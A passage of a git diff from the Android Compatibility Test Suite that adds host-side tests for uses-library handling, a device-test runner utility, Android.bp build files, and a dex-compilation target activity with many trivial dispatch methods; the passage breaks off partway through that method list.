+            cmd.append(' ').append(i + "_" + apk.getName());
+            cmd.append(' ').append(remotePath);
+
+            result = device.executeShellCommand(cmd.toString());
+            TestCase.assertTrue(result, result.startsWith("Success"));
+        }
+
+        // Everything staged; let's pull trigger
+        cmd.setLength(0);
+        cmd.append("pm install-commit");
+        cmd.append(' ').append(sessionId);
+
+        result = device.executeShellCommand(cmd.toString()).trim();
+        if (failure == null) {
+            if (expectingSuccess) {
+                TestCase.assertTrue(result, result.startsWith("Success"));
+            } else {
+                TestCase.assertFalse(result, result.startsWith("Success"));
+            }
+        } else {
+            TestCase.assertTrue(result, result.contains(failure));
+        }
+    }
+}
diff --git a/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/UsesLibraryHostTest.java b/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/UsesLibraryHostTest.java
new file mode 100644
index 0000000..aecd87b
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/UsesLibraryHostTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.classloaders.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Set of tests that verify behavior of runtime permissions, including both
+ * dynamic granting and behavior of legacy apps.
+ */
+@AppModeFull(reason = "TODO verify whether or not these should run in instant mode")
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class UsesLibraryHostTest extends BaseHostJUnit4Test {
+    private static final String PKG = "com.android.cts.useslibrary";
+
+    private static final String APK = "CtsUsesLibraryApp.apk";
+    private static final String APK_COMPAT = "CtsUsesLibraryAppCompat.apk";
+
+
+    @Before
+    public void setUp() throws Exception {
+        Utils.prepareSingleUser(getDevice());
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Test
+    @AppModeFull
+    public void testUsesLibrary_full() throws Exception {
+        testUsesLibrary(false);
+    }
+    private void testUsesLibrary(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK).run();
+        Utils.runDeviceTests(getDevice(), PKG, ".UsesLibraryTest", "testUsesLibrary");
+    }
+
+    @Test
+    @AppModeFull
+    public void testMissingLibrary_full() throws Exception {
+        testMissingLibrary(false);
+    }
+    public void testMissingLibrary(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK).run();
+        Utils.runDeviceTests(getDevice(), PKG, ".UsesLibraryTest", "testMissingLibrary");
+    }
+
+    @Test
+    @AppModeFull
+    public void testDuplicateLibrary_full() throws Exception {
+        testDuplicateLibrary(false);
+    }
+    public void testDuplicateLibrary(boolean instant) throws Exception {
+        new InstallMultiple(instant).addApk(APK).run();
+        Utils.runDeviceTests(getDevice(), PKG, ".UsesLibraryTest", "testDuplicateLibrary");
+    }
+
+    protected class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+        public InstallMultiple() {
+            this(false);
+        }
+        public InstallMultiple(boolean instant) {
+            super(getDevice(), getBuild(), getAbi());
+            addArg(instant ? "--instant" : "");
+        }
+    }
+}
diff --git a/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/Utils.java b/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/Utils.java
new file mode 100644
index 0000000..48dd029
--- /dev/null
+++ b/hostsidetests/classloaders/useslibrary/src/android/classloaders/cts/Utils.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.classloaders.cts;
+
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+
+import java.util.Arrays;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+public class Utils {
+    public static final int USER_SYSTEM = 0;
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName) throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
+    }
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName, Map<String, String> testArgs)
+                    throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, testArgs);
+    }
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName, int userId) throws DeviceNotAvailableException {
+        runDeviceTests(device, packageName, testClassName, testMethodName, userId, null);
+    }
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName, int userId, Map<String, String> testArgs)
+                    throws DeviceNotAvailableException {
+        // 60 min timeout per test by default
+        runDeviceTests(device, packageName, testClassName, testMethodName, userId, testArgs,
+                60L, TimeUnit.MINUTES);
+    }
+
+    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
+            String testMethodName, int userId, Map<String, String> testArgs, long timeout,
+            TimeUnit unit)
+                    throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = packageName + testClassName;
+        }
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
+                "androidx.test.runner.AndroidJUnitRunner", device.getIDevice());
+        // timeout_msec is the timeout per test for instrumentation
+        testRunner.addInstrumentationArg("timeout_msec", Long.toString(unit.toMillis(timeout)));
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        if (testArgs != null && testArgs.size() > 0) {
+            for (String name : testArgs.keySet()) {
+                final String value = testArgs.get(name);
+                testRunner.addInstrumentationArg(name, value);
+            }
+        }
+        final CollectingTestListener listener = new CollectingTestListener();
+        device.runInstrumentationTestsAsUser(testRunner, userId, listener);
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+
+    /**
+     * Prepare and return a single user relevant for testing.
+     */
+    public static int[] prepareSingleUser(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return prepareMultipleUsers(device, 1);
+    }
+
+    /**
+     * Prepare and return two users relevant for testing.
+     */
+    public static int[] prepareMultipleUsers(ITestDevice device)
+            throws DeviceNotAvailableException {
+        return prepareMultipleUsers(device, 2);
+    }
+
+    /**
+     * Prepare and return multiple users relevant for testing.
+     */
+    public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
+            throws DeviceNotAvailableException {
+        final int[] userIds = getAllUsers(device);
+        for (int i = 1; i < userIds.length; i++) {
+            if (i < maxUsers) {
+                device.startUser(userIds[i]);
+            } else {
+                device.stopUser(userIds[i]);
+            }
+        }
+        if (userIds.length > maxUsers) {
+            return Arrays.copyOf(userIds, maxUsers);
+        } else {
+            return userIds;
+        }
+    }
+
+    public static int[] getAllUsers(ITestDevice device)
+            throws DeviceNotAvailableException {
+        Integer primary = device.getPrimaryUserId();
+        if (primary == null) {
+            primary = USER_SYSTEM;
+        }
+        int[] users = new int[] { primary };
+        for (Integer user : device.listUsers()) {
+            if ((user != USER_SYSTEM) && (user != primary)) {
+                users = Arrays.copyOf(users, users.length + 1);
+                users[users.length - 1] = user;
+            }
+        }
+        return users;
+    }
+}
diff --git a/hostsidetests/compilation/Android.bp b/hostsidetests/compilation/Android.bp
new file mode 100644
index 0000000..f522f7e
--- /dev/null
+++ b/hostsidetests/compilation/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsCompilationTestCases",
+    srcs: ["src/**/*.java"],
+    java_resource_dirs: ["assets/"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "guava",
+    ],
+}
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
deleted file mode 100644
index 09c8507..0000000
--- a/hostsidetests/compilation/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := assets/
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsCompilationTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := guavalib
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/compilation/AndroidTest.xml b/hostsidetests/compilation/AndroidTest.xml
index fe17ac8..d2c6f87 100644
--- a/hostsidetests/compilation/AndroidTest.xml
+++ b/hostsidetests/compilation/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Compilation Test">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="art" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCompilationTestCases.jar" />
         <option name="runtime-hint" value="9m45s" />
diff --git a/hostsidetests/compilation/TEST_MAPPING b/hostsidetests/compilation/TEST_MAPPING
new file mode 100644
index 0000000..cdaa108
--- /dev/null
+++ b/hostsidetests/compilation/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsCompilationTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/compilation/app/Android.bp b/hostsidetests/compilation/app/Android.bp
new file mode 100644
index 0000000..f4954c7
--- /dev/null
+++ b/hostsidetests/compilation/app/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCompilationApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/compilation/app/Android.mk b/hostsidetests/compilation/app/Android.mk
deleted file mode 100644
index d9d79d6..0000000
--- a/hostsidetests/compilation/app/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsCompilationApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/compilation/app/AndroidManifest.xml b/hostsidetests/compilation/app/AndroidManifest.xml
index 33fc3ab..cca9341 100755
--- a/hostsidetests/compilation/app/AndroidManifest.xml
+++ b/hostsidetests/compilation/app/AndroidManifest.xml
@@ -16,7 +16,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.compilation">
+    package="android.compilation.cts">
     <uses-sdk android:minSdkVersion="23" />
     <application>
         <activity android:name=".CompilationTargetActivity" >
diff --git a/hostsidetests/compilation/app/src/android/compilation/cts/CompilationTargetActivity.java b/hostsidetests/compilation/app/src/android/compilation/cts/CompilationTargetActivity.java
new file mode 100644
index 0000000..66ff046
--- /dev/null
+++ b/hostsidetests/compilation/app/src/android/compilation/cts/CompilationTargetActivity.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compilation.cts;
+
+import android.app.Activity;
+import android.os.AsyncTask;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Random;
+
+/**
+ * A simple activity which can be subjected to (dex to native) compilation.
+ *
+ * If you change this code, you need to regenerate APK and profile using the
+ * the new code - see instructions in {@code assets/README.txt}.
+ */
+public class CompilationTargetActivity extends Activity {
+
+    private AsyncTask<Integer, String, Void> mTask;
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        setTitle("Starting...");
+        mTask = new AsyncTask<Integer, String, Void>() {
+            @Override
+            protected Void doInBackground(Integer... params) {
+                int numValues = params[0];
+                int numIter = params[1];
+                for (int i = 0; i < numIter; i++) {
+                    if (Thread.interrupted()) {
+                        break;
+                    }
+                    publishProgress("Step " + (i+1) + " of " + numIter);
+                    List<Integer> values = makeValues(numValues);
+                    Collections.shuffle(values);
+                    Collections.sort(values);
+                }
+                return null;
+            }
+
+            @Override
+            protected void onProgressUpdate(String... values) {
+                setTitle(values[0]);
+            }
+
+            @Override
+            protected void onPostExecute(Void aVoid) {
+                setTitle("Done");
+            }
+        };
+        mTask.execute(1024, 100 * 1000);
+    }
+
+    @Override
+    protected void onPause() {
+        mTask.cancel(/* mayInterruptIfRunning */ true);
+        mTask = null;
+        super.onPause();
+    }
+
+    private List<Integer> makeValues(int numValues) {
+        List<Integer> result = new ArrayList<>();
+        Random random = new Random();
+        for (int i = 0; i < numValues; i++) {
+            int v = dispatch(random.nextInt());
+            result.add(v);
+        }
+        return result;
+    }
+
+    /**
+     * Dispatches to a bunch of simple methods because JIT profiles are only generated for
+     * apps with enough methods (10, as of May 2016).
+     */
+    private int dispatch(int i) {
+        int v = Math.abs(i % 100);
+        switch (v) {
+            case 0: return m0();
+            case 1: return m1();
+            case 2: return m2();
+            case 3: return m3();
+            case 4: return m4();
+            case 5: return m5();
+            case 6: return m6();
+            case 7: return m7();
+            case 8: return m8();
+            case 9: return m9();
+            case 10: return m10();
+            case 11: return m11();
+            case 12: return m12();
+            case 13: return m13();
+            case 14: return m14();
+            case 15: return m15();
+            case 16: return m16();
+            case 17: return m17();
+            case 18: return m18();
+            case 19: return m19();
+            case 20: return m20();
+            case 21: return m21();
+            case 22: return m22();
+            case 23: return m23();
+            case 24: return m24();
+            case 25: return m25();
+            case 26: return m26();
+            case 27: return m27();
+            case 28: return m28();
+            case 29: return m29();
+            case 30: return m30();
+            case 31: return m31();
+            case 32: return m32();
+            case 33: return m33();
+            case 34: return m34();
+            case 35: return m35();
+            case 36: return m36();
+            case 37: return m37();
+            case 38: return m38();
+            case 39: return m39();
+            case 40: return m40();
+            case 41: return m41();
+            case 42: return m42();
+            case 43: return m43();
+            case 44: return m44();
+            case 45: return m45();
+            case 46: return m46();
+            case 47: return m47();
+            case 48: return m48();
+            case 49: return m49();
+            case 50: return m50();
+            case 51: return m51();
+            case 52: return m52();
+            case 53: return m53();
+            case 54: return m54();
+            case 55: return m55();
+            case 56: return m56();
+            case 57: return m57();
+            case 58: return m58();
+            case 59: return m59();
+            case 60: return m60();
+            case 61: return m61();
+            case 62: return m62();
+            case 63: return m63();
+            case 64: return m64();
+            case 65: return m65();
+            case 66: return m66();
+            case 67: return m67();
+            case 68: return m68();
+            case 69: return m69();
+            case 70: return m70();
+            case 71: return m71();
+            case 72: return m72();
+            case 73: return m73();
+            case 74: return m74();
+            case 75: return m75();
+            case 76: return m76();
+            case 77: return m77();
+            case 78: return m78();
+            case 79: return m79();
+            case 80: return m80();
+            case 81: return m81();
+            case 82: return m82();
+            case 83: return m83();
+            case 84: return m84();
+            case 85: return m85();
+            case 86: return m86();
+            case 87: return m87();
+            case 88: return m88();
+            case 89: return m89();
+            case 90: return m90();
+            case 91: return m91();
+            case 92: return m92();
+            case 93: return m93();
+            case 94: return m94();
+            case 95: return m95();
+            case 96: return m96();
+            case 97: return m97();
+            case 98: return m98();
+            case 99: return m99();
+            case 100: return m100();
+            case 101: return m101();
+            case 102: return m102();
+            case 103: return m103();
+            case 104: return m104();
+            case 105: return m105();
+            case 106: return m106();
+            case 107: return m107();
+            case 108: return m108();
+            case 109: return m109();
+            case 110: return m110();
+            case 111: return m111();
+            case 112: return m112();
+            case 113: return m113();
+            case 114: return m114();
+            case 115: return m115();
+            case 116: return m116();
+            case 117: return m117();
+            case 118: return m118();
+            case 119: return m119();
+            case 120: return m120();
+            case 121: return m121();
+            case 122: return m122();
+            case 123: return m123();
+            case 124: return m124();
+            case 125: return m125();
+            case 126: return m126();
+            case 127: return m127();
+            case 128: return m128();
+            case 129: return m129();
+            case 130: return m130();
+            case 131: return m131();
+            case 132: return m132();
+            case 133: return m133();
+            case 134: return m134();
+            case 135: return m135();
+            case 136: return m136();
+            case 137: return m137();
+            case 138: return m138();
+            case 139: return m139();
+            case 140: return m140();
+            case 141: return m141();
+            case 142: return m142();
+            case 143: return m143();
+            case 144: return m144();
+            case 145: return m145();
+            case 146: return m146();
+            case 147: return m147();
+            case 148: return m148();
+            case 149: return m149();
+            case 150: return m150();
+            case 151: return m151();
+            case 152: return m152();
+            case 153: return m153();
+            case 154: return m154();
+            case 155: return m155();
+            case 156: return m156();
+            case 157: return m157();
+            case 158: return m158();
+            case 159: return m159();
+            case 160: return m160();
+            case 161: return m161();
+            case 162: return m162();
+            case 163: return m163();
+            case 164: return m164();
+            case 165: return m165();
+            case 166: return m166();
+            case 167: return m167();
+            case 168: return m168();
+            case 169: return m169();
+            case 170: return m170();
+            case 171: return m171();
+            case 172: return m172();
+            case 173: return m173();
+            case 174: return m174();
+            case 175: return m175();
+            case 176: return m176();
+            case 177: return m177();
+            case 178: return m178();
+            case 179: return m179();
+            case 180: return m180();
+            case 181: return m181();
+            case 182: return m182();
+            case 183: return m183();
+            case 184: return m184();
+            case 185: return m185();
+            case 186: return m186();
+            case 187: return m187();
+            case 188: return m188();
+            case 189: return m189();
+            case 190: return m190();
+            case 191: return m191();
+            case 192: return m192();
+            case 193: return m193();
+            case 194: return m194();
+            case 195: return m195();
+            case 196: return m196();
+            case 197: return m197();
+            case 198: return m198();
+            case 199: return m199();
+            default: throw new AssertionError(v + " out of bounds");
+        }
+    }
+
+    public int m0() { return new Random(0).nextInt(); }
+    public int m1() { return new Random(1).nextInt(); }
+    public int m2() { return new Random(2).nextInt(); }
+    public int m3() { return new Random(3).nextInt(); }
+    public int m4() { return new Random(4).nextInt(); }
+    public int m5() { return new Random(5).nextInt(); }
+    public int m6() { return new Random(6).nextInt(); }
+    public int m7() { return new Random(7).nextInt(); }
+    public int m8() { return new Random(8).nextInt(); }
+    public int m9() { return new Random(9).nextInt(); }
+    public int m10() { return new Random(10).nextInt(); }
+    public int m11() { return new Random(11).nextInt(); }
+    public int m12() { return new Random(12).nextInt(); }
+    public int m13() { return new Random(13).nextInt(); }
+    public int m14() { return new Random(14).nextInt(); }
+    public int m15() { return new Random(15).nextInt(); }
+    public int m16() { return new Random(16).nextInt(); }
+    public int m17() { return new Random(17).nextInt(); }
+    public int m18() { return new Random(18).nextInt(); }
+    public int m19() { return new Random(19).nextInt(); }
+    public int m20() { return new Random(20).nextInt(); }
+    public int m21() { return new Random(21).nextInt(); }
+    public int m22() { return new Random(22).nextInt(); }
+    public int m23() { return new Random(23).nextInt(); }
+    public int m24() { return new Random(24).nextInt(); }
+    public int m25() { return new Random(25).nextInt(); }
+    public int m26() { return new Random(26).nextInt(); }
+    public int m27() { return new Random(27).nextInt(); }
+    public int m28() { return new Random(28).nextInt(); }
+    public int m29() { return new Random(29).nextInt(); }
+    public int m30() { return new Random(30).nextInt(); }
+    public int m31() { return new Random(31).nextInt(); }
+    public int m32() { return new Random(32).nextInt(); }
+    public int m33() { return new Random(33).nextInt(); }
+    public int m34() { return new Random(34).nextInt(); }
+    public int m35() { return new Random(35).nextInt(); }
+    public int m36() { return new Random(36).nextInt(); }
+    public int m37() { return new Random(37).nextInt(); }
+    public int m38() { return new Random(38).nextInt(); }
+    public int m39() { return new Random(39).nextInt(); }
+    public int m40() { return new Random(40).nextInt(); }
+    public int m41() { return new Random(41).nextInt(); }
+    public int m42() { return new Random(42).nextInt(); }
+    public int m43() { return new Random(43).nextInt(); }
+    public int m44() { return new Random(44).nextInt(); }
+    public int m45() { return new Random(45).nextInt(); }
+    public int m46() { return new Random(46).nextInt(); }
+    public int m47() { return new Random(47).nextInt(); }
+    public int m48() { return new Random(48).nextInt(); }
+    public int m49() { return new Random(49).nextInt(); }
+    public int m50() { return new Random(50).nextInt(); }
+    public int m51() { return new Random(51).nextInt(); }
+    public int m52() { return new Random(52).nextInt(); }
+    public int m53() { return new Random(53).nextInt(); }
+    public int m54() { return new Random(54).nextInt(); }
+    public int m55() { return new Random(55).nextInt(); }
+    public int m56() { return new Random(56).nextInt(); }
+    public int m57() { return new Random(57).nextInt(); }
+    public int m58() { return new Random(58).nextInt(); }
+    public int m59() { return new Random(59).nextInt(); }
+    public int m60() { return new Random(60).nextInt(); }
+    public int m61() { return new Random(61).nextInt(); }
+    public int m62() { return new Random(62).nextInt(); }
+    public int m63() { return new Random(63).nextInt(); }
+    public int m64() { return new Random(64).nextInt(); }
+    public int m65() { return new Random(65).nextInt(); }
+    public int m66() { return new Random(66).nextInt(); }
+    public int m67() { return new Random(67).nextInt(); }
+    public int m68() { return new Random(68).nextInt(); }
+    public int m69() { return new Random(69).nextInt(); }
+    public int m70() { return new Random(70).nextInt(); }
+    public int m71() { return new Random(71).nextInt(); }
+    public int m72() { return new Random(72).nextInt(); }
+    public int m73() { return new Random(73).nextInt(); }
+    public int m74() { return new Random(74).nextInt(); }
+    public int m75() { return new Random(75).nextInt(); }
+    public int m76() { return new Random(76).nextInt(); }
+    public int m77() { return new Random(77).nextInt(); }
+    public int m78() { return new Random(78).nextInt(); }
+    public int m79() { return new Random(79).nextInt(); }
+    public int m80() { return new Random(80).nextInt(); }
+    public int m81() { return new Random(81).nextInt(); }
+    public int m82() { return new Random(82).nextInt(); }
+    public int m83() { return new Random(83).nextInt(); }
+    public int m84() { return new Random(84).nextInt(); }
+    public int m85() { return new Random(85).nextInt(); }
+    public int m86() { return new Random(86).nextInt(); }
+    public int m87() { return new Random(87).nextInt(); }
+    public int m88() { return new Random(88).nextInt(); }
+    public int m89() { return new Random(89).nextInt(); }
+    public int m90() { return new Random(90).nextInt(); }
+    public int m91() { return new Random(91).nextInt(); }
+    public int m92() { return new Random(92).nextInt(); }
+    public int m93() { return new Random(93).nextInt(); }
+    public int m94() { return new Random(94).nextInt(); }
+    public int m95() { return new Random(95).nextInt(); }
+    public int m96() { return new Random(96).nextInt(); }
+    public int m97() { return new Random(97).nextInt(); }
+    public int m98() { return new Random(98).nextInt(); }
+    public int m99() { return new Random(99).nextInt(); }
+    public int m100() { return new Random(100).nextInt(); }
+    public int m101() { return new Random(101).nextInt(); }
+    public int m102() { return new Random(102).nextInt(); }
+    public int m103() { return new Random(103).nextInt(); }
+    public int m104() { return new Random(104).nextInt(); }
+    public int m105() { return new Random(105).nextInt(); }
+    public int m106() { return new Random(106).nextInt(); }
+    public int m107() { return new Random(107).nextInt(); }
+    public int m108() { return new Random(108).nextInt(); }
+    public int m109() { return new Random(109).nextInt(); }
+    public int m110() { return new Random(110).nextInt(); }
+    public int m111() { return new Random(111).nextInt(); }
+    public int m112() { return new Random(112).nextInt(); }
+    public int m113() { return new Random(113).nextInt(); }
+    public int m114() { return new Random(114).nextInt(); }
+    public int m115() { return new Random(115).nextInt(); }
+    public int m116() { return new Random(116).nextInt(); }
+    public int m117() { return new Random(117).nextInt(); }
+    public int m118() { return new Random(118).nextInt(); }
+    public int m119() { return new Random(119).nextInt(); }
+    public int m120() { return new Random(120).nextInt(); }
+    public int m121() { return new Random(121).nextInt(); }
+    public int m122() { return new Random(122).nextInt(); }
+    public int m123() { return new Random(123).nextInt(); }
+    public int m124() { return new Random(124).nextInt(); }
+    public int m125() { return new Random(125).nextInt(); }
+    public int m126() { return new Random(126).nextInt(); }
+    public int m127() { return new Random(127).nextInt(); }
+    public int m128() { return new Random(128).nextInt(); }
+    public int m129() { return new Random(129).nextInt(); }
+    public int m130() { return new Random(130).nextInt(); }
+    public int m131() { return new Random(131).nextInt(); }
+    public int m132() { return new Random(132).nextInt(); }
+    public int m133() { return new Random(133).nextInt(); }
+    public int m134() { return new Random(134).nextInt(); }
+    public int m135() { return new Random(135).nextInt(); }
+    public int m136() { return new Random(136).nextInt(); }
+    public int m137() { return new Random(137).nextInt(); }
+    public int m138() { return new Random(138).nextInt(); }
+    public int m139() { return new Random(139).nextInt(); }
+    public int m140() { return new Random(140).nextInt(); }
+    public int m141() { return new Random(141).nextInt(); }
+    public int m142() { return new Random(142).nextInt(); }
+    public int m143() { return new Random(143).nextInt(); }
+    public int m144() { return new Random(144).nextInt(); }
+    public int m145() { return new Random(145).nextInt(); }
+    public int m146() { return new Random(146).nextInt(); }
+    public int m147() { return new Random(147).nextInt(); }
+    public int m148() { return new Random(148).nextInt(); }
+    public int m149() { return new Random(149).nextInt(); }
+    public int m150() { return new Random(150).nextInt(); }
+    public int m151() { return new Random(151).nextInt(); }
+    public int m152() { return new Random(152).nextInt(); }
+    public int m153() { return new Random(153).nextInt(); }
+    public int m154() { return new Random(154).nextInt(); }
+    public int m155() { return new Random(155).nextInt(); }
+    public int m156() { return new Random(156).nextInt(); }
+    public int m157() { return new Random(157).nextInt(); }
+    public int m158() { return new Random(158).nextInt(); }
+    public int m159() { return new Random(159).nextInt(); }
+    public int m160() { return new Random(160).nextInt(); }
+    public int m161() { return new Random(161).nextInt(); }
+    public int m162() { return new Random(162).nextInt(); }
+    public int m163() { return new Random(163).nextInt(); }
